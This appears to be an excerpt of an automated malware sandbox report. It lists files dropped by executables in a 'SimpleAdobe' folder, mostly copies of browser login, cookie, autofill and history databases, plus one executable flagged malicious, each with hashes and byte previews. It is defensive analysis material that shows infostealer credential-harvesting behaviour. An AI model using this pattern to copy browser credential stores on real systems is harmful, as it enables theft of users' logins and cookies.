SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\svHbiLAWsgmJ0AGdyd6Z.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\sxh_WFovsNO4Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\uiQGXcY1BQsCHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\xAkpYjY7UWiJHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\0hTwXHqlJzX2Login Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\3YLkvtL1mIoNHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\BPyjv5VkhA_dWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\BfG50Hl5NNEsWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0672612876759877
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumYvUbn6:QrzWMffVnzkkqtXnTK+hNH+5EVum/r
MD5:	F5AC50EB9CDE56AB713B7EE67F96047A
SHA1:	F214C477123122CD42536A314B8F68BE480ACAF0
SHA-256:	A52B7ABA0AB670EBFE69FC318DE0F46B94827FBD05A73C914D11D12F11090B4D
SHA-512:	B58C1242FE33CE76F35C2E2F9E30E2795046E56897CF73DDE22F604DCD38DB8C4E854DA96C2843741CAB1A2C75BF838A58664A9F2574304987CCD8E871BB5B1C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\Fc1nahijwv7NCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\N7LE12g7PaWeLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\QvnuCuBs9GGxWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0672612876759877
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumYvUbn6:QrzWMffVnzkkqtXnTK+hNH+5EVum/r
MD5:	F5AC50EB9CDE56AB713B7EE67F96047A
SHA1:	F214C477123122CD42536A314B8F68BE480ACAF0
SHA-256:	A52B7ABA0AB670EBFE69FC318DE0F46B94827FBD05A73C914D11D12F11090B4D
SHA-512:	B58C1242FE33CE76F35C2E2F9E30E2795046E56897CF73DDE22F604DCD38DB8C4E854DA96C2843741CAB1A2C75BF838A58664A9F2574304987CCD8E871BB5B1C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\ZIsnyZ_pxgYGWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\hf5M5oa5s_uoWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0672612876759877
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumYvUbn6:QrzWMffVnzkkqtXnTK+hNH+5EVum/r
MD5:	F5AC50EB9CDE56AB713B7EE67F96047A
SHA1:	F214C477123122CD42536A314B8F68BE480ACAF0
SHA-256:	A52B7ABA0AB670EBFE69FC318DE0F46B94827FBD05A73C914D11D12F11090B4D
SHA-512:	B58C1242FE33CE76F35C2E2F9E30E2795046E56897CF73DDE22F604DCD38DB8C4E854DA96C2843741CAB1A2C75BF838A58664A9F2574304987CCD8E871BB5B1C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\nNlIPbvYboI9Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\qjAl8psackhRLogin Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\sDEmgN5YC_6qCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\t56jnOIixmzrHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\wmd5guKuBAEpHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanFDUhEHqVvg4i\wqqK54UDx_qlHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

